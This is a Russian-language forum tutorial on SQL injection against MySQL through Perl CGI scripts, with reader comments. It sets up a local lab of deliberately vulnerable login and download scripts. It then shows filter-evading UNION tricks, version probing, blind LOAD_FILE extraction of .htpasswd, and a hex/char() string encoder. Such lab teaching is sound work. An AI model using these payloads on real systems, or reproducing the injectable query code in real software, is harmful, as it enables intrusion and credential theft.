Доброе время суток, уважаемые читатели.
На данный момент интерес к теме SQL-injections значительно повысился. В Сети опубликовано немало интересных материалов по данной теме. В этой статье я доступно и с примерами изложил то, что прочитал, понял и проверил на практике. Для того, чтобы каждый мог самостоятельно попробовать свои силы и умения в этой области, я решил составить практическое руководство по настройке "полигона для испытаний" на основе семейства ОС Windows.
Часть 0x0. Установка и настройка необходимого ПО.
Базовая конфигурация содержит:
Интерпретатор языка Perl. Здесь и далее используется ActivePerl производства ActiveState. Сайт автора: http://activestate.com/Products/ActivePerl
SQL-сервер. Используем самый доступный вариант - MySQL (http://dev.mysql.com/downloads)
Интерфейсные модули для взаимодействия Perl с сервером БД (DBI, DBD-mysql)
0.1 Устанавливаем ActivePerl
Установка самого ActivePerl не вызывает особых проблем. Главное - не забудьте установить Perl Package Manager (PPM). По умолчанию установка производится в папку C:\Perl, при этом файлы библиотек располагаются в C:\Perl\lib, C:\Perl\site\lib. Проверить пути к библиотекам можно просто - создайте файл с расширением .pl следующего содержания:
#!perl print join ("\n", @INC); <>;
и запустите. Вам будут выведены пути к библиотекам.
0.2 Устанавливаем модули DBI, DBD-mysql
Если на предыдущем шаге все прошло нормально, приступим к установке необходимых модулей. Открываем консоль (cmd.exe), все последующие действия проводятся в этом же окне. Если вход в интернет осуществляется через прокси сервер, зададим его с помощью переменной окружения HTTP_PROXY:
\\Для вывода и ввода текущих установок переменной используеться команда set, порт ставиться любой удобный для вас, главное чтобы он был свободен и не затрагивался иными службами. Код: set HTTP_PROXY = http://hostname:port
Подключаемся к интернету. В консоли запускаем установку модулей. Сначала DBI:
\\ppm - Project portfolio management
\\ppm - директива обработки последующей комманды
\\Все рассматриваемые примеры подразумевают расположение всех файлов в корневой директории диска С:\ , это избавит вас от лишних действий указания директорий.
ppm install DBI
Проверяем, все ли нормально установилось:
ppm> properties DBI ==================== Name: DBI Version: 5.1 Author: Tim Bunce (dbi-users@perl.org) Title: DBI Abstract: Database independent interface for Perl InstDate: 03:54:34 2008 Location: http://site.com/cgibin/PPM/ppmserver-5.8-windows.pl?urn:/PPMServer Available Platforms: 1. MSWin32-x86-multi-thread-5.8 ====================
Теперь DBD-mysql:
ppm install DBD-mysql
Проверяем:
ppm> properties DBD-mysql ==================== Name: DBD-mysql Version: 5.1 Author: Rudy Lippan (rlippan@remotelinux.com) Title: DBD-mysql Abstract: MySQL driver for the Perl5 Database Interface (DBI) InstDate: 04:14:54 2008 Location: http://site.com/cgibin/PPM/ppmserver-5.8-windows.pl?urn:/PPMServer Available Platforms: 1. MSWin32-x86-multi-thread-5.8 ====================
Если все прошло без сбоев - поздравляем себя - перл установлен и готов к работе. Переходим к серверу БД.
0.3 Устанавливаем MySQL
Качаем и устанавливаем MySQL. Я устанавливал версию 5.1, но в будущем для экспериментов лучше иметь и более старую.
При установке Вас спросят, каким образом предпочтительно запускать сервер а также имя пользователя и пароль (для удобства лучше создать пользователя с правами администратора - root). Я установил MySQL как службу и запускаю вручную при необходимости.
Желательно теперь перезагрузить компьютер, чтобы все изменения вступили в силу.
Осталось сделать две вещи: создать базу данных и изменить пароль. Самое время запустить SQL-сервер (Пуск->Настройка->Панель управления->Администрирование->Службы на службе MySQL жмем Пуск). В консольном клиенте MySQL (Пуск->Программы->MySQL->MySQL Server 5.1->MySQL Command Line Client), набираем заданный при установке пароль к базе. Перед нами - приглашение сервера MySQL:
mysql>
Создадим тестовую базу данных, которую назовем, к примеру, main, подключим ее и создадим в ней таблицу users, в которую добавим одну лишь запись:
CREATE DATABASE main; Query OK, 1 row affected (0.03 sec) USE main; Database changed CREATE TABLE users (username varchar(16), password varchar(16)); Query OK, 0 rows affected (0.29 sec) insert into users values('john','ripper'); Query OK, 1 row affected (0.09 sec)
Из-за того, что в модулях DBI и DBD-mysql используется старый тип авторизации, необходимо задать пароль в старом формате:
mysql> SET PASSWORD FOR -> 'root'@'localhost' = OLD_PASSWORD('ваш_пароль'); Query OK, 0 rows affected (0.15 sec)
На этом с установкой программ закончим. Время проверить, работает ли все это.
Часть 1. Первые шаги.
Один из распространенных случаев использования БД - авторизация. Предлагаю Вашему вниманию в качестве примера простенький скрипт авторизации.
Задания:
Пройти авторизацию без знания имени пользователя и пароля
Получить содержание произвольного файла с сервера
Исходник скрипта:
#!perl use DBI; my $dsn = 'DBI:mysql:main:localhost'; # параметры соединения с БД - интерфейс:тип сервера:имя БД:адрес сервера my $db_user_name = 'root'; my $db_password = 'ghbtvyfz'; my ($id, $password); my $dbh = DBI->connect($dsn, $db_user_name, $db_password); # пытаемся установить соединение my $inputuser = "john"; my $inputpass = 'ripper'; # формируем запрос $str = "select * from users where username = '$inputuser' AND password = '$inputpass'"; my $sth = $dbh->prepare($str); # подгодтовка к выполнению $sth->execute(); # выполнение запроса ($id, $password) = $sth->fetchrow_array(); # получаем первую запись из ответа на запрос if ((defined $id) && (defined $password)) { # авторизация успешно пройдена print "Welcome, $id! Your password is \"$password\".\n"; } else { # доступ запрещен print "Login incorrect"; } $sth->finish(); # закончили запрос exit;
Теория: Обработка комментариев. Определение версии MySQL.
Каждый SQL-сервер имеет свои специфические отличия от стандартного языка SQL. В случае MySQL одним из таких отличий является обработка внутреннего содержания комментариев. Для начала рассмотрим синтаксическое оформление комментариев в MySQL:
mysql> SELECT 1+1; # Комментарий до конца строки mysql> SELECT 1-1; -- и здесть тоже mysql> SELECT 1 /* комментарий внутри запроса */ + 1; mysql> SELECT 1+ /* многосторочный комментарий (не всегда концы строк адекватно проходят через скрипты) */ 1;
Вот какие особенности интерпретации комментариев существуют в MySQL: С точки зрения синтаксиса комментарий /* comment */ в запросе рассматривается как строка длиной нуль (см. ниже). Если после открывающей скобки комментария идет восклицательный знак: /*! command */, содержимое комментария интерпретируется как специфическая команда. Это сделано для улучшения переносимости кода между различными SQL-серверами (другие SQL-серверы просто пропускают такие комментарии). Одинарные, двойные кавычки и точка с запятой не теряют своей силы даже внутри комментария. Команды, заключенные в комментарии вида /*!XYYZZ command */, выполняются только если версия MySQL-сервера равна или выше X.YY.ZZ [*]Комментарий, заданный двойным дефисом -- считается комментарием только в том случае, если за дефисами следует хотя бы один пробел. Учитывая эти особенности мы можем: Обойти систему обнаружения SQL-инъекции, отлавливающую "подозрительные" запросы по ключевым словам и Определить версию MySQL-сервера, запущенного на сервере. Думаю, что все будет понятно из нижеприведенных примеров:
Пример 1. Маскируем UNION
Код:mysql> select * from test_table where a > 1 union select 1,1; +------+------+ a b +------+------+ 66 99 1 1 +------+------+ 2 rows in set (0.00 sec) mysql> select * from test_table where a > 1 u/* comment here */nion select 1,1; +------+------+ a b +------+------+ 66 99 1 1 +------+------+ 2 rows in set (0.00 sec)
Пример 2. Определяем версию
mysql> select VERSION(); +-----------+ VERSION() +-----------+ 5.1-nt +-----------+ 1 row in set (0.00 sec) mysql> select 1 /*!50000 oops.. */; +---+ 1 +---+ 1 +---+ 1 row in set (0.00 sec) mysql> select 1 /*!40000 oops.. */; ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '.. */ ' at line 1 mysql> select 1 /*!42000 oops.. */; +---+ 1 +---+ 1 +---+ 1 row in set (0.00 sec)
Немного усложним задание: Модифицируем скрипт из первого задания и обзовем его auth1.pl:
#!perl use DBI; print "Content-type: text/html\n\n"; %Q = &get_cgi_params; if ((defined $Q{'user'}) && (defined $Q{'pass'})) { my $dsn = 'DBI:mysql:main:localhost'; # параметры соединения с БД - интерфейс:тип сервера:имя БД:адрес сервера my $db_user_name = 'root'; my $db_password = ''; my ($id, $password); my $dbh = DBI->connect($dsn, $db_user_name, $db_password); # пытаемся установить соединение # формируем запрос $str = "select * from auth1 where username = '$Q{'user'}' AND password = '$Q{'pass'}'"; my $sth = $dbh->prepare($str); # подгодтовка к выполнению $sth->execute(); # выполнение запроса ($id, $password) = $sth->fetchrow_array(); # получаем первую запись из ответа на запрос if ((defined $id) && (defined $password)) { # авторизация успешно пройдена $id=substr($id,0,255); # обрезаем полученый ответ до 255 символов. $password=substr($password,0,255); print "Welcome, $id! Your password is \"$password\".\n"; } else { # доступ запрещен print "Login incorrect"; } $sth->finish(); # закончили запрос } else { print "Введен пустой запрос\n"; } exit; sub get_cgi_params { my ($request, %out); if ($ENV{REQUEST_METHOD} eq 'POST') { read(STDIN, $request, $ENV{CONTENT_LENGTH}); $ENV{QUERY_STRING} = $request; } else { $request = $ENV{QUERY_STRING}; } foreach my $param (split /[&;]/, $request) { $param =~ s/\+/ /g; my ($key, $value) = split /=/, $param, 2; $key =~ s/%(..)/pack('c', hex($1))/ge; $value =~ s/%(..)/pack('c', hex($1))/ge; $out{$key} .= "\0" if exists $out{$key}; $out{$key} .= $value; } %out; }
Задача: необходимо получить _весь_ исходник этого скрипта....ну или _полностью_ любой файл больше 255 байт. Вот скриптец для создания таблицы (create1.pl):
Код:#!perl use DBI; my $dsn = 'DBI:mysql:main:localhost'; # параметры соединения с БД - интерфейс:тип сервера:имя БД:адрес сервера my $db_user_name = 'root'; my $db_password = ''; my ($id, $password); my $dbh = DBI->connect($dsn, $db_user_name, $db_password); # пытаемся установить соединение $str = "drop table auth1;"; # на всякий случай ;) my $sth = $dbh->prepare($str); # подгодтовка к выполнению print "Dropping table \'auth1\'\n"; $sth->execute(); # выполнение запроса $sth->finish(); $str = "create table auth1 (username TINYTEXT, password TINYTEXT);"; my $sth = $dbh->prepare($str); # подгодтовка к выполнению print "Creating table \'auth1\'\n"; $sth->execute(); # выполнение запроса $sth->finish(); $str = "insert into auth1 values (\'admin\', \'owned\');"; my $sth = $dbh->prepare($str); # подгодтовка к выполнению print "Filling table \'auth1\'\n"; $sth->execute(); # выполнение запроса $sth->finish(); exit;
Ну и формочка для удобства (form1.html)
<form method=POST action="http://localhost/cgi-bin/auth1.pl"> Username: <input name=user size=100><br> Password: <input name=pass size=100><br> <input type=submit> </form>
Еще одно задание. Данная задача берет свое начало с реального сайта одного чешского контент-провайдера. Правда я взял только идею, а реализация - собственная. Там раздавали на скачивание видеофайлы, без авторизации, но размещались они на сервере они лишь на ограниченное время в специально созданных директориях. Например: http://localhost/videos/01VD7a0eo8ybwtZwUyKpx6CRUfguxLoH/threesome.wmv Понятно, что не зная пути, скачать их было невозможно. Не знаю, как именно на том сайте раздача была реализована (видел только /server-status, где как раз подобные директории приметил, файлы качались "на ура"), но идея с директориями мне запомнилась. Уже позже, увидев в какой-то статье интересный SQL-запрос, решил под него придумать задачу. Вот идея и пригодилась. Реализацию предлагаю вашему вниманию.
1. Реализация на локальной машине
Ссылки на скачивание раздает скрипт third.pl (см. Приложение), получающий в качестве параметра (id) номер файла (в скрипте я реализовал только сам механизм формирования ссылки на файл из БД). Пробуя разные номера (не все из них обязательно имеются в БД), можно свободно качать кино (авторизация в скрипте не предусмотрена).
Кино - это, конечно, здорово... Однако, хочется, как всегда, большего. Например, доступа в админ-панель: http://localhost/admin/ но вот незадача - панель защищена паролем. Через дырку в другом скрипте вытаскиваем .htaccess
Options FollowSymLinks AuthName "Admin Panel" AuthType Basic AuthGroupFile /dev/null AuthMySQLHost localhost AuthMySQLUser root AuthMySQLPassword ghbtvyfz AuthMySQLDB main AuthMySQLUserTable auth AuthMySQLNameField username AuthMySQLPasswordField password AuthMySQLCryptedPasswords off # AuthcookieName CoinAccess <Limit GET POST PUT> require valid-user </Limit> <Files ~ "^.ht"> Satisfy all Order deny,allow deny from all </Files>
из которого ясно следующее: имена и пароли для доступа в админ-панель хранятся в таблице auth БД main на сервере localhost, имя пользователя и пароль для доступа к серверу БД: root и ghbtvyfz соответственно.
Как же вытащить админский пароль из БД? Но ведь у нас есть скрипт, работающий с сервером БД! Правда у него только один параметр... Но этого, поверьте, достаточно, чтобы выяснить пароль Перейдем к построению нашего очередного полигона:
2. Приготовления
Для практики необходимо: Установить Web-сервер Apache (http://httpd.apache.org/), ActivePerl, модули DBI, DBD-mysql и MySQL 5.1.x также должны быть установлены, как это сделать - описано выше; Скопировать файлы: third.html, create.pl в директорию Apache/htdocs; third.pl в Apache/cgi-bin; Изменить при необходимости в скриптах create.pl, third.pl параметры доступа к БД; Запустить сервер MySQL; В директории Apache/htdocs запустить create.pl (не из браузера). Он создаст нужные директории на диске и таблицы в БД;
3. Задание
Предположив, что в таблице auth содержится запись для пользователя admin, добыть для него пароль через скрипт third.pl. Удобно для экспериментов вводить данные в форму (см. Приложение), а не в адресную строку. Скрипт third.pl понимает и GET, и POST. Версия сервера MySQL - 5.1.x, и это важно.
Решение задачи существует, проверено =)
Приложение 1. Листинг create.pl
#!perl use DBI; my $dsn = 'DBI:mysql:main:localhost'; # параметры соединения с БД - интерфейс:тип сервера:имя БД:адрес сервера my $db_user_name = 'root'; my $db_password = 'ghbtvyfz'; my ($id, $password); my $dbh = DBI->connect($dsn, $db_user_name, $db_password); # пытаемся установить соединение $str = "drop table auth;"; # на всякий случай ;) my $sth = $dbh->prepare($str); # подгодтовка к выполнению print "Dropping table \'auth\'\n"; $sth->execute(); # выполнение запроса $sth->finish(); $str = "create table auth (username varchar(32), password varchar(32));"; my $sth = $dbh->prepare($str); # подгодтовка к выполнению print "Creating table \'auth\'\n"; $sth->execute(); # выполнение запроса $sth->finish(); $str = "insert into auth values (\'admin\', \'owned\');"; my $sth = $dbh->prepare($str); # подгодтовка к выполнению print "Filling table \'auth\'\n"; $sth->execute(); # выполнение запроса $sth->finish(); $str = "drop table videos;"; # на всякий случай ;) my $sth = $dbh->prepare($str); # подгодтовка к выполнению print "Dropping table \'videos\'\n"; $sth->execute(); # выполнение запроса $sth->finish(); $str = "create table videos (id int, dir varchar(32), filename varchar(32));"; my $sth = $dbh->prepare($str); # подгодтовка к выполнению print "Creating table \'videos\'\n"; $sth->execute(); # выполнение запроса $sth->finish(); mkdir ("vid"); open O, ">data4videos.dump"; print "Insertinging data: "; $count = 0; for $id (1..381) { if ($count % 10 == 0) { print "."; } $count++; $dir = &generate_dir; mkdir("vid/$dir"); open VID, ">vid/$dir/movie.avi"; print VID "empty ;)"; close VID; $str = "insert into videos values (\'$id\', \'$dir\', \'movie.avi\');"; my $sth = $dbh->prepare($str); # подгодтовка к выполнению $sth->execute(); # выполнение запроса $sth->finish(); print O "$id,$dir,movie$id.avi\n"; } print " Complete.\nExiting\n"; close O; exit; sub generate_dir { my $l = 0; @charset = ('A'..'Z','a'..'z','0'..'9'); my $dirname; while ($l<32) { #srand(int(time-$timestamp)); $dirname .= $charset[int(61*rand)]; $l++; } return $dirname; }
Приложение 2. Листинг third.pl
#!perl print "Content-type: text/html\n\n"; use DBI; my $dsn = 'DBI:mysql:main:localhost'; # параметры соединения с БД - интерфейс:тип сервера:имя БД:адрес сервера my $db_user_name = 'root'; my $db_password = 'ghbtvyfz'; my ($id, $password); my $dbh = DBI->connect($dsn, $db_user_name, $db_password); # пытаемся установить соединение %Q = &get_cgi_params; if (defined $Q{'id'}) { $str = "select dir,filename from main.videos where id=$Q{id};"; my $sth = $dbh->prepare($str); # подгодтовка к выполнению $sth->execute(); # выполнение запроса ($dir, $filename) = $sth->fetchrow_array(); if (-e "../htdocs/vid/$dir/$filename") { print "<center>\nDownload link: <a href=\"/vid/$dir/$filename\">$filename</a></center>\n"; } else { print "Вы ввели неверный номер файла\n"; } $sth->finish(); } else { print "Введен пустой запрос\n"; } exit; sub get_cgi_params { my ($request, %out); if ($ENV{REQUEST_METHOD} eq 'POST') { read(STDIN, $request, $ENV{CONTENT_LENGTH}); $ENV{QUERY_STRING} = $request; } else { $request = $ENV{QUERY_STRING}; } foreach my $param (split /[&;]/, $request) { $param =~ s/+/ /g; my ($key, $value) = split /=/, $param, 2; $key =~ s/%(..)/pack('c', hex($1))/ge; $value =~ s/%(..)/pack('c', hex($1))/ge; $out{$key} .= "\0" if exists $out{$key}; $out{$key} .= $value; } %out; }
Приложение 3. Листинг form.html
<form method=POST action="/cgi-bin/third.pl"> <input name=id size=100> <input type=submit> </form>
Анализ полученного параметра.
Сейчас я расскажу об одной технике, довольно трудоемкой в применении, но оправданной, когда нет возможности применить прямую инъекцию. Напомню два момента: Наиболее удобный в инспользовании метод с применением UNION-запроса возможен в MySQL только в версиях 5.*.*. В случае, если используется версия 4.*.*, возможности инъекции значительно сокращаются. Хотя при работе напрямую (через порт) с сервером возможно выполнение нескольких запросов (в любой версии сервера), разделенных ";", в php- и perl-интерфейсах к MySQL такая возможность, как правило, заблокирована.
Рассмотрим простейший запрос к SQL-серверу:
SELECT filename, title, length, resolution FROM movies WHERE id=16;
Допустим мы можем свободно менять параметр id: http://localhost/showmoviedetails.php?id=16 Рассмотрим вариант, когда нет возможности использовать UNION-запрос.
Идея заключается в том, чтобы задавать значение параметра id не напрямую, а в виде выражения, значение которого мы хотим узнать. Затем по результату выполнения запроса мы можем определить значение этого выражения. Продемонстрирую применение этой идеи:
1. Есть файл /var/websites/kyle/.htpasswd :
brunodickman:48gWc/Zywpg.k samiamsam:36h7dlMxU4CkI andre912:73zToJ1.of8WE jbmeee:67RfcLINdLPb2 andyth:775HDYUEM/GSA
2. Результат выполнения LOAD_FILE("/var/websites/kyle/.htpasswd") есть строка, которую можно читать посимвольно функцией SUBSTRING(string,position,length), первый символ строки имеет номер 1.
3. Символ легко преобразовать в его ASCII-код: ORD(string)
4. Если блокируются кавычки, строку с именем файла можно задать в других форматах:
"file" = char(102)+char(105)+char(108)+char(101)
"file" = 0x66696C65
Иногда случается, что веб-сервер не передаёт символы '+' программе, а заменяет их пробелами на лету. В этом случае можно воспользоваться CHAR(102,105,108,101), например, так даже короче будет.
5. Окончательный вид параметра id для получения 1-го символа файла /var/websites/kyle/.htpasswd выглядит следующим образом: id=ORD(SUBSTRING(LOAD_FILE(0x2F7661722F77656273697465732F6B796C652F2E6874706173737764),1,1)) Аналогичным образом можно получить значение полезных функций USER(), DATABASE(), VERSION().
Конвертор строк в форматы char() и 0xABC для SQL-запросов
Не всегда возможно использовать кавычки в SQL-запросах, например, при чтении файлов через LOAD_FILE(). В языке SQL существуют альтернативные пути представления строк, это кострукции вида: 'string' = char(115)+char(116)+char(114)+char(105)+char(110)+ char(103) 'string' = 0x737472696E67 Я доработал один весьма полезный инструмент (добавлено 0x123-представлние и возможность выбора,заменять + на %2b, что необходимо в случае GETзапроса).
Листинг предлагаю вниманию общественности. Вместе с конструкцией char(1)+char(2) выводиться char(1,2), так короче и красивее.
<html> <head> <title>String Convertor for SQL-query</title> <script language="javascript"> function baseConverter (number,ob,nb) { // число, разрядность_исходная, разрядность_желаемая http://members.site.com/brianrisk number = number.toUpperCase(); var list = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"; var dec = 0; for (var i = 0; i <= number.length; i++) { dec += (list.indexOf(number.charAt(i))) * (Math.pow(ob , (number.length - i - 1))); } number = ""; var magnitude = Math.floor((Math.log(dec))/(Math.log(nb))); for (var i = magnitude; i >= 0; i--) { var amount = Math.floor(dec/Math.pow(nb,i)); number = number + list.charAt(amount); dec -= amount*(Math.pow(nb,i)); } return number; } function recode(target) { var s = new String(target); var out = new String(""); var plus = ""; if (document.forms[0].replaceplus.checked) { plus = "%2b"; } else { plus = "+"; } for(i=0;i<s.length;i++) { out += "char(" + s.charCodeAt(i) + ")"; if (i+1<s.length){ out += plus; } } return out; } function recode16(target16) { var s = new String(target16); var out = new String("0x"); for(i=0;i<s.length;i++) { if (s.charCodeAt(i) < 10) { out += "0" + baseConverter(String(s.charCodeAt(i)),10,16); } else { out += baseConverter(String(s.charCodeAt(i)),10,16); } } return out; } </script> <style type="text/css"> BODY { scrollbar-base-color: #252525; scrollbar-arrow-color: #bbbb88; COLOR: #e4e4e4; margin: 0; font-family: Verdana; font-size: 13px; background-color: #444444; } td { font-family: Verdana; COLOR: #e4e4e4; font-size: 13px; } SELECT { FONT-FAMILY: Verdana; FONT-SIZE: 10px; COLOR: #e4e4e4; font-weight: bold; BACKGROUND-COLOR: #444444; } TEXTAREA, { FONT-SIZE: 13px; FONT-FAMILY: Verdana; COLOR: #EEEEEE; BACKGROUND-COLOR: #252525; } .days { FONT-FAMILY: Verdana; border : none; FONT-SIZE: 10px; COLOR: #e4e4e4; BACKGROUND-COLOR: #222222; } .bginput { FONT-SIZE: 11px; FONT-FAMILY: Verdana; font-weight: bold; COLOR: #EEEEcc; BACKGROUND-COLOR: #252525; } A:link, A:visited, A:active { COLOR: #e2e5cc; text-decoration: none; } A:hover { COLOR: #FFffcc; } .thtcolor { COLOR: #f5f5f5; } .bright { BACKGROUND-COLOR: #dddddd; padding-bottom : 5px; padding-left : 5px; padding-right : 5px; padding-top : 5px; FONT-SIZE: 11px; } .qu { BACKGROUND-COLOR: #3b3b3b; border : thin inset; margin-bottom : 5px; margin-left : 15px; margin-right : 5px; margin-top : 5px; padding-bottom : 5px; padding-left : 5px; padding-right : 5px; padding-top : 5px; border-width : 1px 1px 1px 1px; } </style> </head> <body> <form> <table border=0 cellpadding=2> <tr><td align=center>source</td></tr> <tr><td align=center><textarea name="_in" cols=80 rows=7></textarea></td></tr> <tr><td align=center>char(123)-like result. <input type=checkbox name="replaceplus"> Replace "+" with "%2b"</td></tr> <tr><td align=center><textarea name="_out" cols=80 rows=7></textarea></td></tr> <tr><td align=center>0x0123-like result</td></tr> <tr><td align=center><textarea name="_out16" cols=80 rows=7></textarea></td></tr> <tr><td align=center><input type="button" onClick="document.forms[0]._out.value=recode(document.forms[0]._in.value); document.forms[0]._out16.value=recode16(document.forms[0]._in.value);" value=" encode "></td></tr> </table> </form> </body> </html>
Спасибо за внимание, с уважением Alien. При копировании статьи или её части обязательна ссылка на источник. Специально для Group of Freedom Search,отдельное спасибо Luke, за помощь в написании статьи.
© Alien 30.07.2008
$p01nt, вот представьте себе , нигде не видел , чтобы к подобным статьям прилагались задания...
Радоваться надо тому,что нравится,а если не нравится,то лучше промолчать.
Alien,за старание - 5!
не очень хорошая статья ... таких море ... и воды много в начале ...
-------------------------------------------------------
Почему же в сети таких много? я лично не видел, может есть похожие но на другие темы :) Мне такие статьи нравятся тем что много примеров и заданий, а то что много вставок кода дык куда же без него, лучше попробуйте это все на практике :)
поддерживаю споинта! даже не все прочитал
---------------------------------------------
А вот это зря, как так не все прочитали? тогда нельзя понять в чем смысол, не надо смотреть на название, главное что в нутри :)
не приходилось ставить мускул...
а обязательно ставить к нему интерпритатор перла?
или можно обойтись без него?
денвер же обходится
В статье есть неточности, например с каких это пор в 4 ветке стало невозможным использование union оператора?!

не очень хорошая статья ... таких море ... и воды много в начале ...